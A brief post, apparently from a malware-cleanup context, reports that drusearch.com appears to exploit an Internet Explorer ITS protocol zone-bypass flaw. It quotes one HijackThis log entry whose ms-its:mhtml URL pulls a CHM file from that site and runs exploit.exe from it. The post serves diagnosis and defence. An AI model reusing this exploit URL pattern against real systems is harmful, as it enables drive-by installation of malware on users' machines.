drusearch.com seems to have been exploiting the Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability, based on the following Hijackthis log entry:
O16 - DPF: {11010101-1001-1111-1000-110112345679} - ms-its:mhtml:file://C:\MAIN.MHT!http://drusearch.com//my/EXPLOIT.CHM::/exploit.exe
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